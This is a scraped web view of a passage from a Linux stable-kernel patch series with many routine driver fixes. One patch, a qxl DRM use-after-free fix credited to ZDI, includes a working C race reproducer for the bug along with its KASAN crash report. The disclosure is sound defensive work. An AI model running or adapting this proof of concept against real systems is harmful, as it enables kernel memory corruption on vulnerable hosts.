@@ -78,7 +78,7 @@ static struct blk_crypto_fallback_keyslostruct crypto_skcipher *tfms[BLK_ENCRYPTION_MODE_MAX ]; } *blk_crypto_keyslots; -static struct blk_crypto_profile blk_crypto_fallback_profile; +static struct blk_crypto_profile *blk_crypto_fallback_profile;static struct workqueue_struct *blk_crypto_wq;static mempool_t *blk_crypto_bounce_page_pool;static struct bio_set crypto_bio_split;
@@ -292,7 +292,7 @@ static bool blk_crypto_fallback_encrypt_* Get a blk-crypto-fallback keyslot that contains a crypto_skcipher for * this bio's algorithm and key. */ - blk_st =blk_crypto_get_keyslot (&blk_crypto_fallback_profile, + blk_st =blk_crypto_get_keyslot (blk_crypto_fallback_profile, bc->bc_key, &slot);if (blk_st !=BLK_STS_OK ) { src_bio->bi_status = blk_st;
@@ -395,7 +395,7 @@ static void blk_crypto_fallback_decrypt_* Get a blk-crypto-fallback keyslot that contains a crypto_skcipher for * this bio's algorithm and key. */ - blk_st =blk_crypto_get_keyslot (&blk_crypto_fallback_profile, + blk_st =blk_crypto_get_keyslot (blk_crypto_fallback_profile, bc->bc_key, &slot);if (blk_st !=BLK_STS_OK ) { bio->bi_status = blk_st;
@@ -499,7 +499,7 @@ bool blk_crypto_fallback_bio_prep(structreturn false; } -if (!__blk_crypto_cfg_supported (&blk_crypto_fallback_profile, +if (!__blk_crypto_cfg_supported (blk_crypto_fallback_profile, &bc->bc_key->crypto_cfg)) { bio->bi_status =BLK_STS_NOTSUPP ;return false;
@@ -526,7 +526,7 @@ bool blk_crypto_fallback_bio_prep(structint blk_crypto_fallback_evict_key (const struct blk_crypto_key *key) { -return __blk_crypto_evict_key (&blk_crypto_fallback_profile, key); +return __blk_crypto_evict_key (blk_crypto_fallback_profile, key); }static bool blk_crypto_fallback_inited;
@@ -534,7 +534,6 @@ static int blk_crypto_fallback_init(void {int i;int err; -struct blk_crypto_profile *profile = &blk_crypto_fallback_profile;if (blk_crypto_fallback_inited)return 0 ;
@@ -545,18 +544,27 @@ static int blk_crypto_fallback_init(voidif (err) goto out; - err =blk_crypto_profile_init (profile, blk_crypto_num_keyslots); -if (err) +/* Dynamic allocation is needed because of lockdep_register_key(). */ + blk_crypto_fallback_profile = +kzalloc (sizeof (*blk_crypto_fallback_profile),GFP_KERNEL ); +if (!blk_crypto_fallback_profile) { + err = -ENOMEM ; goto fail_free_bioset; + } + + err =blk_crypto_profile_init (blk_crypto_fallback_profile, + blk_crypto_num_keyslots); +if (err) + goto fail_free_profile; err = -ENOMEM ; - profile->ll_ops = blk_crypto_fallback_ll_ops; - profile->max_dun_bytes_supported =BLK_CRYPTO_MAX_IV_SIZE ; + blk_crypto_fallback_profile->ll_ops = blk_crypto_fallback_ll_ops; + blk_crypto_fallback_profile->max_dun_bytes_supported =BLK_CRYPTO_MAX_IV_SIZE ;/* All blk-crypto modes have a crypto API fallback. */ for (i =0 ; i <BLK_ENCRYPTION_MODE_MAX ; i++) - profile->modes_supported[i] =0xFFFFFFFF ; - profile->modes_supported[BLK_ENCRYPTION_MODE_INVALID ] =0 ; + blk_crypto_fallback_profile->modes_supported[i] =0xFFFFFFFF ; + blk_crypto_fallback_profile->modes_supported[BLK_ENCRYPTION_MODE_INVALID ] =0 ; blk_crypto_wq = alloc_workqueue("blk_crypto_wq", WQ_UNBOUND | WQ_HIGHPRI |
@@ -597,7 +605,9 @@ fail_free_keyslots: fail_free_wq:destroy_workqueue (blk_crypto_wq); fail_destroy_profile: -blk_crypto_profile_destroy (profile); +blk_crypto_profile_destroy (blk_crypto_fallback_profile); +fail_free_profile: +kfree (blk_crypto_fallback_profile); fail_free_bioset:bioset_exit (&crypto_bio_split); out:
Greg Kroah-Hartman
maintainerPATCH 213/234 media: uvcvideo: Fix menu count handling for userspace XU mappings
In reply to Greg Kroah-HartmanFrom: Laurent Pinchart <[email protected]>
commit 6d00f4ec1205a01a6aac1fe3ce04d53a6b2ede59 upstream.
When commit 716c330433e3 ("media: uvcvideo: Use standard names for menus") reworked the handling of menu controls, it inadvertently replaced a GENMASK(n - 1, 0) with a BIT_MASK(n). The latter isn't equivalent to the former, which broke adding XU mappings from userspace. Fix it.
--- drivers/media/usb/uvc/uvc_v4l2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/media/usb/uvc/uvc_v4l2.c +1 -1
@@ -45,7 +45,7 @@ static int uvc_control_add_xu_mapping(struct uvc_video_chain *chain, map->menu_names =NULL ; map->menu_mapping =NULL ; - map->menu_mask =BIT_MASK (xmap->menu_count); + map->menu_mask =GENMASK (xmap->menu_count -1 ,0 ); size = xmap->menu_count *sizeof (*map->menu_mapping); map->menu_mapping =kzalloc (size,GFP_KERNEL );
Signature · 1 line
2.41.0
Greg Kroah-Hartman
maintainerPATCH 214/234 dt-bindings: pinctrl: qcom,sa8775p-tlmm: add gpio function constant
In reply to Greg Kroah-HartmanFrom: Shazad Hussain <[email protected]>
commit f00295e890bbc8780cd2076ee17bc7a08a53091c upstream.
Alternative function 'gpio' is not listed in the constants for pin configuration, so adding this constant to the list.
--- .../devicetree/bindings/pinctrl/qcom,sa8775p-tlmm.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
Documentation/devicetree/bindings/pinctrl/qcom,sa8775p-tlmm.yaml +1 -1
@@ -87,7 +87,7 @@ $defs: emac0_mdc, emac0_mdio, emac0_ptp_aux, emac0_ptp_pps, emac1_mcg0, emac1_mcg1, emac1_mcg2, emac1_mcg3, emac1_mdc, emac1_mdio, emac1_ptp_aux, emac1_ptp_pps, gcc_gp1, gcc_gp2, gcc_gp3, - gcc_gp4, gcc_gp5, hs0_mi2s, hs1_mi2s, hs2_mi2s, ibi_i3c, + gcc_gp4, gcc_gp5, gpio, hs0_mi2s, hs1_mi2s, hs2_mi2s, ibi_i3c, jitter_bist, mdp0_vsync0, mdp0_vsync1, mdp0_vsync2, mdp0_vsync3, mdp0_vsync4, mdp0_vsync5, mdp0_vsync6, mdp0_vsync7, mdp0_vsync8, mdp1_vsync0, mdp1_vsync1, mdp1_vsync2, mdp1_vsync3, mdp1_vsync4,
Signature · 1 line
2.41.0
Greg Kroah-Hartman
maintainerPATCH 215/234 mmc: f-sdh30: fix order of function calls in sdhci_f_sdh30_remove
In reply to Greg Kroah-HartmanFrom: Yangtao Li <[email protected]>
commit 58abdd80b93b09023ca03007b608685c41e3a289 upstream.
The order of function calls in sdhci_f_sdh30_remove is wrong, let's call sdhci_pltfm_unregister first.
--- drivers/mmc/host/sdhci_f_sdh30.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-)
drivers/mmc/host/sdhci_f_sdh30.c +7 -4
@@ -210,13 +210,16 @@ static int sdhci_f_sdh30_remove(struct p {struct sdhci_host *host =platform_get_drvdata (pdev);struct f_sdhost_priv *priv =sdhci_f_sdhost_priv (host); - -reset_control_assert (priv->rst); -clk_disable_unprepare (priv->clk); -clk_disable_unprepare (priv->clk_iface); +struct clk *clk_iface = priv->clk_iface; +struct reset_control *rst = priv->rst; +struct clk *clk = priv->clk;sdhci_pltfm_unregister (pdev); +reset_control_assert (rst); +clk_disable_unprepare (clk); +clk_disable_unprepare (clk_iface); +return 0 ; }
Greg Kroah-Hartman
maintainerPATCH 216/234 mmc: wbsd: fix double mmc_free_host() in wbsd_init()
In reply to Greg Kroah-HartmanFrom: Yang Yingliang <[email protected]>
commit d83035433701919ac6db15f7737cbf554c36c1a6 upstream.
mmc_free_host() has already be called in wbsd_free_mmc(), remove the mmc_free_host() in error path in wbsd_init().
--- drivers/mmc/host/wbsd.c | 2 -- 1 file changed, 2 deletions(-)
drivers/mmc/host/wbsd.c +0 -2
@@ -1705,8 +1705,6 @@ static int wbsd_init(struct device *dev,wbsd_release_resources (host);wbsd_free_mmc (dev); - -mmc_free_host (mmc);return ret; }
Greg Kroah-Hartman
maintainerPATCH 217/234 mmc: block: Fix in_flight[issue_type] value error
In reply to Greg Kroah-HartmanFrom: Yibin Ding <[email protected]>
commit 4b430d4ac99750ee2ae2f893f1055c7af1ec3dc5 upstream.
For a completed request, after the mmc_blk_mq_complete_rq(mq, req) function is executed, the bitmap_tags corresponding to the request will be cleared, that is, the request will be regarded as idle. If the request is acquired by a different type of process at this time, the issue_type of the request may change. It further caused the value of mq->in_flight[issue_type] to be abnormal, and a large number of requests could not be sent.
p1: p2:mmc_blk_mq_complete_rq
blk_mq_free_request
blk_mq_get_request
blk_mq_rq_ctx_initmmc_blk_mq_dec_in_flight
mmc_issue_type(mq, req)
This strategy can ensure the consistency of issue_type before and after executing mmc_blk_mq_complete_rq.
--- drivers/mmc/core/block.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-)
drivers/mmc/core/block.c +4 -3
@@ -2097,14 +2097,14 @@ static void mmc_blk_mq_poll_completion(smmc_blk_urgent_bkops (mq, mqrq); } -static void mmc_blk_mq_dec_in_flight (struct mmc_queue *mq,struct request *req) +static void mmc_blk_mq_dec_in_flight (struct mmc_queue *mq,enum mmc_issue_type issue_type) {unsigned long flags;bool put_card;spin_lock_irqsave (&mq->lock, flags); - mq->in_flight[mmc_issue_type (mq, req)] -=1 ; + mq->in_flight[issue_type] -=1 ; put_card = (mmc_tot_in_flight (mq) ==0 );
@@ -2117,6 +2117,7 @@ static void mmc_blk_mq_dec_in_flight(strstatic void mmc_blk_mq_post_req (struct mmc_queue *mq,struct request *req,bool can_sleep) { +enum mmc_issue_type issue_type =mmc_issue_type (mq, req);struct mmc_queue_req *mqrq =req_to_mmc_queue_req (req);struct mmc_request *mrq = &mqrq->brq.mrq;struct mmc_host *host = mq->card->host;
@@ -2136,7 +2137,7 @@ static void mmc_blk_mq_post_req(struct mblk_mq_complete_request (req); } -mmc_blk_mq_dec_in_flight (mq, req); +mmc_blk_mq_dec_in_flight (mq, issue_type); }void mmc_blk_mq_recovery (struct mmc_queue *mq)
Greg Kroah-Hartman
maintainerPATCH 218/234 mmc: sunplus: fix return value check of mmc_add_host()
In reply to Greg Kroah-HartmanFrom: Wei Chen <[email protected]>
commit dce6d8f985fa1ef5c2af47f4f86ea65511b78656 upstream.
mmc_add_host() may return error, if we ignore its return value,
1. the memory allocated in mmc_alloc_host() will be leaked
2. null-ptr-deref will happen when calling mmc_remove_host() in remove function spmmc_drv_remove() because deleting not added device.
Fix this by checking the return value of mmc_add_host(). Moreover, I fixed the error handling path of spmmc_drv_probe() to clean up.
--- drivers/mmc/host/sunplus-mmc.c | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-)
drivers/mmc/host/sunplus-mmc.c +12 -4
@@ -902,7 +902,7 @@ static int spmmc_drv_probe(struct platform_device *pdev) ret =mmc_of_parse (mmc);if (ret) - goto probe_free_host; + goto clk_disable; mmc->ops = &spmmc_ops; mmc->f_min =SPMMC_MIN_CLK ;
@@ -911,7 +911,7 @@ static int spmmc_drv_probe(struct platform_device *pdev) ret =mmc_regulator_get_supply (mmc);if (ret) - goto probe_free_host; + goto clk_disable;if (!mmc->ocr_avail) mmc->ocr_avail =MMC_VDD_32_33 |MMC_VDD_33_34 ;
@@ -927,9 +927,17 @@ static int spmmc_drv_probe(struct platform_device *pdev) host->tuning_info.enable_tuning =1 ;pm_runtime_set_active (&pdev->dev);pm_runtime_enable (&pdev->dev); -mmc_add_host (mmc); + ret =mmc_add_host (mmc); +if (ret) + goto pm_disable; -return ret; +return 0 ; + +pm_disable: +pm_runtime_disable (&pdev->dev); + +clk_disable: +clk_disable_unprepare (host->clk); probe_free_host:if (mmc)
Signature · 1 line
2.41.0
Greg Kroah-Hartman
maintainerPATCH 219/234 mmc: sunplus: Fix error handling in spmmc_drv_probe()
In reply to Greg Kroah-HartmanFrom: Harshit Mogalapalli <[email protected]>
commit cf3f15b8c6601c1dc70f85949788ee993dd9a439 upstream.
When mmc allocation succeeds, the error paths are not freeing mmc.
Fix the above issue by changing mmc_alloc_host() to devm_mmc_alloc_host() to simplify the error handling. Remove label 'probe_free_host' as devm_* api takes care of freeing, also remove mmc_free_host() from remove function as devm_* takes care of freeing.
--- drivers/mmc/host/sunplus-mmc.c | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-)
drivers/mmc/host/sunplus-mmc.c +3 -11
@@ -863,11 +863,9 @@ static int spmmc_drv_probe(struct platform_device *pdev)struct spmmc_host *host;int ret =0 ; - mmc =mmc_alloc_host (sizeof (*host), &pdev->dev); -if (!mmc) { - ret = -ENOMEM ; - goto probe_free_host; - } + mmc =devm_mmc_alloc_host (&pdev->dev,sizeof (struct spmmc_host )); +if (!mmc) +return -ENOMEM ; host =mmc_priv (mmc); host->mmc = mmc;
@@ -938,11 +936,6 @@ static int spmmc_drv_probe(struct platform_device *pdev) clk_disable:clk_disable_unprepare (host->clk); - -probe_free_host: -if (mmc) -mmc_free_host (mmc); -return ret; }
@@ -956,7 +949,6 @@ static int spmmc_drv_remove(struct platform_device *dev)pm_runtime_put_noidle (&dev->dev);pm_runtime_disable (&dev->dev);platform_set_drvdata (dev,NULL ); -mmc_free_host (host->mmc);return 0 ; }
Signature · 1 line
2.41.0
Greg Kroah-Hartman
maintainerPATCH 220/234 drm/qxl: fix UAF on handle creation
In reply to Greg Kroah-HartmanFrom: Wander Lairson Costa <[email protected]>
commit c611589b4259ed63b9b77be6872b1ce07ec0ac16 upstream.
qxl_mode_dumb_create() dereferences the qobj returned by qxl_gem_object_create_with_handle(), but the handle is the only one holding a reference to it.
A potential attacker could guess the returned handle value and closes it between the return of qxl_gem_object_create_with_handle() and the qobj usage, triggering a use-after-free scenario.
Reproducer:
int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};
void gem_close(int handle);
void* trigger(void* ptr)
{
int ret;
arg.width = arg.height = 0x20;
arg.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
if(ret)
{
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
gem_close(arg.handle);
while(1) {
struct drm_mode_create_dumb args = {0};
args.width = args.height = 0x20;
args.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
if (ret) {
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
gem_close(args.handle);
}
return NULL;
}void gem_close(int handle)
{
struct drm_gem_close args;
args.handle = handle;
int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
if (!ret)
printf("gem close handle %d\n", args.handle);
}int main(void)
{
dri_fd= open("/dev/dri/card0", O_RDWR);
printf("fd:%d\n", dri_fd);
if(dri_fd == -1)
return -1;
pthread_t tid1;
if(pthread_create(&tid1,NULL,trigger,NULL)){
perror("[*] thread_create tid1\n");
return -1;
}
while (1)
{
gem_close(arg.handle);
}
return 0;
}This is a KASAN report:
==================================================================
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 Write of size 1 at addr ffff88801136c240 by task poc/515 CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014 Call Trace: <TASK> __dump_stack linux/lib/dump_stack.c:88 dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106 print_address_description linux/mm/kasan/report.c:319 print_report+0xd2/0x660 linux/mm/kasan/report.c:430 kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536 __asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383 qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 RIP: 0033:0x7ff5004ff5f7 Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48
RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
</TASK> Allocated by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510 ____kasan_kmalloc linux/mm/kasan/common.c:374 __kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383 kasan_kmalloc linux/./include/linux/kasan.h:196 kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066 kmalloc linux/./include/linux/slab.h:580 kzalloc linux/./include/linux/slab.h:720 qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124 qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58 qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 Freed by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521 ____kasan_slab_free linux/mm/kasan/common.c:236 ____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200 __kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244 kasan_slab_free linux/./include/linux/kasan.h:162 slab_free_hook linux/mm/slub.c:1781 slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807 slab_free linux/mm/slub.c:3787 __kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800 kfree+0x78/0x120 linux/mm/slab_common.c:1019 qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49 ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381 kref_put linux/./include/linux/kref.h:65 ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393 qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42 drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974 kref_put linux/./include/linux/kref.h:65 __drm_gem_object_put linux/./include/drm/drm_gem.h:431 drm_gem_object_put linux/./include/drm/drm_gem.h:444 qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 The buggy address belongs to the object at ffff88801136c000
which belongs to the cache kmalloc-1k of size 1024 The buggy address is located 576 bytes inside of freed 1024-byte region [ffff88801136c000, ffff88801136c400)
The buggy address belongs to the physical page: page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368 head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0 flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff) raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000 raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb >ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fbffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
Disabling lock debugging due to kernel taint
Instead of returning a weak reference to the qxl_bo object, return the created drm_gem_object and let the caller decrement the reference count when it no longer needs it. As a convenience, if the caller is not interested in the gobj object, it can pass NULL to the parameter and the reference counting is descremented internally.
The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).
--- drivers/gpu/drm/qxl/qxl_drv.h | 2 +- drivers/gpu/drm/qxl/qxl_dumb.c | 5 ++++- drivers/gpu/drm/qxl/qxl_gem.c | 25 +++++++++++++++++-------- drivers/gpu/drm/qxl/qxl_ioctl.c | 6 ++---- 4 files changed, 24 insertions(+), 14 deletions(-)
drivers/gpu/drm/qxl/qxl_drv.h +1 -1
@@ -310,7 +310,7 @@ int qxl_gem_object_create_with_handle(stu32 domain, size_t size, struct qxl_surface *surf, - struct qxl_bo **qobj, + struct drm_gem_object **gobj, uint32_t *handle);void qxl_gem_object_free (struct drm_gem_object *gobj);int qxl_gem_object_open (struct drm_gem_object *obj,struct drm_file *file_priv);
drivers/gpu/drm/qxl/qxl_dumb.c +4 -1
@@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file {struct qxl_device *qdev =to_qxl (dev);struct qxl_bo *qobj; +struct drm_gem_object *gobj;uint32_t handle;int r;struct qxl_surface surf;
@@ -62,11 +63,13 @@ int qxl_mode_dumb_create(struct drm_file r =qxl_gem_object_create_with_handle (qdev, file_priv,QXL_GEM_DOMAIN_CPU , - args->size, &surf, &qobj, + args->size, &surf, &gobj, &handle);if (r)return r; + qobj =gem_to_qxl_bo (gobj); qobj->is_dumb = true; +drm_gem_object_put (gobj); args->pitch = pitch; args->handle = handle;return 0 ;
drivers/gpu/drm/qxl/qxl_gem.c +17 -8
@@ -72,32 +72,41 @@ int qxl_gem_object_create(struct qxl_devreturn 0 ; } +/* +* If the caller passed a valid gobj pointer, it is responsible to call +* drm_gem_object_put() when it no longer needs to acess the object. +* +* If gobj is NULL, it is handled internally. +*/ int qxl_gem_object_create_with_handle (struct qxl_device *qdev,struct drm_file *file_priv,u32 domain,size_t size,struct qxl_surface *surf, -struct qxl_bo **qobj, +struct drm_gem_object **gobj,uint32_t *handle) { -struct drm_gem_object *gobj;int r; +struct drm_gem_object *local_gobj; -BUG_ON (!qobj);BUG_ON (!handle); r =qxl_gem_object_create (qdev, size,0 , domain, false, false, surf, - &gobj); + &local_gobj);if (r)return -ENOMEM ; - r =drm_gem_handle_create (file_priv, gobj, handle); + r =drm_gem_handle_create (file_priv, local_gobj, handle);if (r)return r; -/* drop reference from allocate - handle holds it now */ - *qobj =gem_to_qxl_bo (gobj); -drm_gem_object_put (gobj); + +if (gobj) + *gobj = local_gobj; +else +/* drop reference from allocate - handle holds it now */ +drm_gem_object_put (local_gobj); +return 0 ; }
drivers/gpu/drm/qxl/qxl_ioctl.c +2 -4
@@ -38,7 +38,6 @@ int qxl_alloc_ioctl(struct drm_device *dstruct qxl_device *qdev =to_qxl (dev);struct drm_qxl_alloc *qxl_alloc = data;int ret; -struct qxl_bo *qobj;uint32_t handle;u32 domain =QXL_GEM_DOMAIN_VRAM ;
@@ -50,7 +49,7 @@ int qxl_alloc_ioctl(struct drm_device *d domain, qxl_alloc->size,NULL , - &qobj, &handle); + NULL, &handle);if (ret) {DRM_ERROR ("%s: failed to create gem ret=%d\n" , __func__, ret);
@@ -386,7 +385,6 @@ int qxl_alloc_surf_ioctl(struct drm_devi {struct qxl_device *qdev =to_qxl (dev);struct drm_qxl_alloc_surf *param = data; -struct qxl_bo *qobj;int handle;int ret;int size, actual_stride;
@@ -406,7 +404,7 @@ int qxl_alloc_surf_ioctl(struct drm_deviQXL_GEM_DOMAIN_SURFACE , size, &surf, - &qobj, &handle); + NULL, &handle);if (ret) {DRM_ERROR ("%s: failed to create gem ret=%d\n" , __func__, ret);
Greg Kroah-Hartman
maintainerPATCH 221/234 Revert "drm/edid: Fix csync detailed mode parsing"
In reply to Greg Kroah-HartmanFrom: Jani Nikula <[email protected]>
commit 50b6f2c8297793f7f3315623db78dcff85158e96 upstream.
This reverts commit ca62297b2085b5b3168bd891ca24862242c635a1.
Commit ca62297b2085 ("drm/edid: Fix csync detailed mode parsing") fixed EDID detailed mode sync parsing. Unfortunately, there are quite a few displays out there that have bogus (zero) sync field that are broken by the change. Zero means analog composite sync, which is not right for digital displays, and the modes get rejected. Regardless, it used to work, and it needs to continue to work. Revert the change.
Rejecting modes with analog composite sync was the part that fixed the gitlab issue 8146 [1]. We'll need to get back to the drawing board with that.
[1] https://gitlab.freedesktop.org/drm/intel/-/issues/8146
--- drivers/gpu/drm/drm_edid.c | 29 ++++++++--------------------- include/drm/drm_edid.h | 12 +++--------- 2 files changed, 11 insertions(+), 30 deletions(-)
drivers/gpu/drm/drm_edid.c +8 -21
@@ -3424,6 +3424,10 @@ static struct drm_display_mode *drm_mode connector->base.id, connector->name);return NULL ; } +if (!(pt->misc &DRM_EDID_PT_SEPARATE_SYNC )) { +drm_dbg_kms (dev,"[CONNECTOR:%d:%s] Composite sync not supported\n" , + connector->base.id, connector->name); + }/* it is incorrect if hsync/vsync width is zero */ if (!hsync_pulse_width || !vsync_pulse_width) {
@@ -3470,27 +3474,10 @@ static struct drm_display_mode *drm_modeif (info->quirks &EDID_QUIRK_DETAILED_SYNC_PP ) { mode->flags |=DRM_MODE_FLAG_PHSYNC |DRM_MODE_FLAG_PVSYNC ; }else { -switch (pt->misc &DRM_EDID_PT_SYNC_MASK ) { -case DRM_EDID_PT_ANALOG_CSYNC : -case DRM_EDID_PT_BIPOLAR_ANALOG_CSYNC : -drm_dbg_kms (dev,"[CONNECTOR:%d:%s] Analog composite sync!\n" , - connector->base.id, connector->name); - mode->flags |=DRM_MODE_FLAG_CSYNC |DRM_MODE_FLAG_NCSYNC ; -break ; -case DRM_EDID_PT_DIGITAL_CSYNC : -drm_dbg_kms (dev,"[CONNECTOR:%d:%s] Digital composite sync!\n" , - connector->base.id, connector->name); - mode->flags |=DRM_MODE_FLAG_CSYNC ; - mode->flags |= (pt->misc &DRM_EDID_PT_HSYNC_POSITIVE ) ? -DRM_MODE_FLAG_PCSYNC :DRM_MODE_FLAG_NCSYNC ; -break ; -case DRM_EDID_PT_DIGITAL_SEPARATE_SYNC : - mode->flags |= (pt->misc &DRM_EDID_PT_HSYNC_POSITIVE ) ? -DRM_MODE_FLAG_PHSYNC :DRM_MODE_FLAG_NHSYNC ; - mode->flags |= (pt->misc &DRM_EDID_PT_VSYNC_POSITIVE ) ? -DRM_MODE_FLAG_PVSYNC :DRM_MODE_FLAG_NVSYNC ; -break ; - } + mode->flags |= (pt->misc &DRM_EDID_PT_HSYNC_POSITIVE ) ? +DRM_MODE_FLAG_PHSYNC :DRM_MODE_FLAG_NHSYNC ; + mode->flags |= (pt->misc &DRM_EDID_PT_VSYNC_POSITIVE ) ? +DRM_MODE_FLAG_PVSYNC :DRM_MODE_FLAG_NVSYNC ; } set_size:
include/drm/drm_edid.h +3 -9
